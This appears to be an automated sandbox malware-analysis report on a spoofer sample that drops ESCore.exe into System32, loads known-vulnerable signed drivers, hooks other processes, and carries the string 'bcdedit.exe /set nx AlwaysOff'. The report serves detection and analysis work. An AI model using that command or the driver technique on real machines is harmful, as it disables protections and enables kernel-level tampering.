Source: C:\Windows\System32\ESCore.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msvcp140.dll
Source: C:\Windows\System32\ESCore.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\ESCore.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\aYu936prD4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Automated click: OK
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Automated click: Continue
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Automated click: OK
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\aYu936prD4.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: aYu936prD4.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: aYu936prD4.exe

Static file information: File size 22372864 > 1048576

Source: aYu936prD4.exe	Static PE information: Raw size of &-RmNmFv is bigger than: 0x100000 < 0xa25e00
Source: aYu936prD4.exe	Static PE information: Raw size of %x/1D?wT is bigger than: 0x100000 < 0xa3f200

Source: aYu936prD4.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: atapi.pdbGCTL source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: VivianSpoofer.exe, 00000011.00000002.2544805206.00000279409C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\ycc\gdrv64\objfre_wnet_AMD64\amd64\gdrv64.pdb! source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: bthmini.pdbGCTL source: ESCore.exe, 00000013.00000002.1907544378.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014005C000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: u.PDb{Kb source: ESCore.exe.0.dr, UpdatePackage.dat.0.dr
Source:	Binary string: atapi.pdb source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Windows.Forms.pdbt source: VivianSpoofer.exe, 00000011.00000002.2544805206.00000279409C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bthmini.pdb source: ESCore.exe, 00000013.00000002.1907544378.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014005C000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dlls.pdbq\| source: VivianSpoofer.exe, 00000011.00000002.2544805206.00000279409C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Wreko\Desktop\SinDriverExample\Output\Test.pdb source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: F:\Other driver 12-03-2020\Cod Source\COD_Cleanup\x64\Release\COD_Cleanup.pdb@ source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: c:\users\cloudbuild\337244\sdk\nal\src\winnt_wdm\driver\objfre_wnet_AMD64\amd64\iqvw64e.pdb source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: f:\ycc\gdrv64\objfre_wnet_AMD64\amd64\gdrv64.pdb source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\Dyaa\source\repos\spr\x64\Release\homie.pdb source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: C:\Users\Dyaa\source\repos\UpdateEnforcer\obj\x64\Release\UpdateEnforcer.pdb source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: e:\work\dangerzone\flashdriverwin64\Release\amd64\amifldrv64.pdb source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: F:\Other driver 12-03-2020\Cod Source\COD_Cleanup\x64\Release\COD_Cleanup.pdb source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr

Data Obfuscation

Yara detected BatToExe compiled binary

Source: Yara match	File source: aYu936prD4.exe, type: SAMPLE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b31816e7e.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.VivianSpoofer.exe.2792596ac60.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b274f4d86.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.21b13f5f9ba.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.VivianSpoofer.exe.27943181dc0.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.VivianSpoofer.exe.27943181dc0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.VivianSpoofer.exe.279431a1435.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.21b13f7f02f.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.VivianSpoofer.exe.2792596ac60.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b318364f3.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.VivianSpoofer.exe.2792598a2d5.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.21b13f5f9ba.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b275143fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b274f4d86.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b31816e7e.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b31010000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.VivianSpoofer.exe.27942b7ad4f.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b26cedf08.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.VivianSpoofer.exe.279429d0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b26e98c34.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b311bad2c.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.21b13903868.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.VivianSpoofer.exe.27925363bef.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.21b13903868.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.VivianSpoofer.exe.27925363bef.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b26e98c34.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.VivianSpoofer.exe.27942b7ad4f.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.aYu936prD4.exe.21b311bad2c.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.VivianSpoofer.exe.279250a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1256147960.0000021B138DA000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2555361754.0000027942B51000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.1788327971.000002792533A000.00000002.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1770992477.0000021B31191000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1748434158.0000021B26E6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Desktop\UpdatePackage.dat, type: DROPPED

Source: initial sample

Static PE information: section where entry point is pointing to: &-RmNmFv

Source: aYu936prD4.exe	Static PE information: section name: &-RmNmFv
Source: aYu936prD4.exe	Static PE information: section name: %x/1D?wT
Source: aYu936prD4.exe	Static PE information: section name: ?`jsa?kE
Source: aYu936prD4.exe	Static PE information: section name: Z-/\dJTH
Source: aYu936prD4.exe	Static PE information: section name: uIK@O>Dr
Source: ESCore.exe.0.dr	Static PE information: section name: ')6SX#X;
Source: ESCore.exe.0.dr	Static PE information: section name: j?XIoYBN
Source: ESCore.exe.0.dr	Static PE information: section name: 2X6/(dFr
Source: ESCore.exe.0.dr	Static PE information: section name: 'kq$.m0s
Source: ESCore.exe.0.dr	Static PE information: section name: w+,49HG'
Source: ESCore.exe.0.dr	Static PE information: section name: ^bu[leN@
Source: ESCore.exe.0.dr	Static PE information: section name: =COi:vZ4
Source: ESCore.exe.0.dr	Static PE information: section name: ,:.z0qA6
Source: UpdatePackage.dat.0.dr	Static PE information: section name: eQ*kK6u.
Source: UpdatePackage.dat.0.dr	Static PE information: section name: ;^zEH,>R
Source: UpdatePackage.dat.0.dr	Static PE information: section name: -!c>1D&Y
Source: UpdatePackage.dat.0.dr	Static PE information: section name: Dl:$]-l>
Source: UpdatePackage.dat.0.dr	Static PE information: section name: ,=9EfFRZ

Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC37D2A5 pushad ; iretd	0_2_00007FFAAC37D2A6
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC496A41 pushfd ; ret	0_2_00007FFAAC496A42
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC56CA31 push ecx; retf 0000h	0_2_00007FFAAC56CA99
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC56CA9C push esp; retf 0000h	0_2_00007FFAAC56CA9D
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC5B3ABF pushfd ; ret	0_2_00007FFAAC5B3AC0
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC5B617A push ecx; ret	0_2_00007FFAAC5B61DC
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC35D2A5 pushad ; iretd	17_2_00007FFAAC35D2A6
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4738D8 push dword ptr [ebp+ebx*8-75h]; ret	17_2_00007FFAAC4738DC
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC477558 push eax; ret	17_2_00007FFAAC477562
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC548EE2 pushad ; retf	17_2_00007FFAAC548EE8
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC548F92 pushad ; retf	17_2_00007FFAAC548F98
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC54CA29 push cs; retf 0000h	17_2_00007FFAAC54CA59

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\VivianSpoofer.exe

Executable created and started: C:\Windows\System32\ESCore.exe

Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	File created: C:\Windows\System32\ESCore.exe	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\Desktop\VivianSpoofer.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\aYu936prD4.exe	File created: C:\Users\user\Desktop\UpdatePackage.dat	Jump to dropped file

Source: C:\Users\user\Desktop\aYu936prD4.exe

File created: C:\Windows\System32\ESCore.exe

Jump to dropped file

Source: aYu936prD4.exe	Binary or memory string: bcdedit.exe /set nx AlwaysOff
Source: UpdatePackage.dat.0.dr	Binary or memory string: bcdedit.exe /set nx AlwaysOff

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 7880 base: 7FFB2D030008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 7880 base: 7FFB2CECD9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 7880 base: 7FFB2D04000D value: E9 BB CB EB FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 7880 base: 7FFB2CEFCBC0 value: E9 5A 34 14 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 1312 base: 7FFB2D030008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 1312 base: 7FFB2CECD9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 1312 base: 7FFB2D04000D value: E9 BB CB EB FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 1312 base: 7FFB2CEFCBC0 value: E9 5A 34 14 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 1156 base: 7FFB2D030008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 1156 base: 7FFB2CECD9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 1156 base: 7FFB2D04000D value: E9 BB CB EB FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 1156 base: 7FFB2CEFCBC0 value: E9 5A 34 14 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 4260 base: 7FFB2D030008 value: E9 EB D9 E9 FF
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 4260 base: 7FFB2CECD9F0 value: E9 20 26 16 00
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 4260 base: 7FFB2D04000D value: E9 BB CB EB FF
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 4260 base: 7FFB2CEFCBC0 value: E9 5A 34 14 00

Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
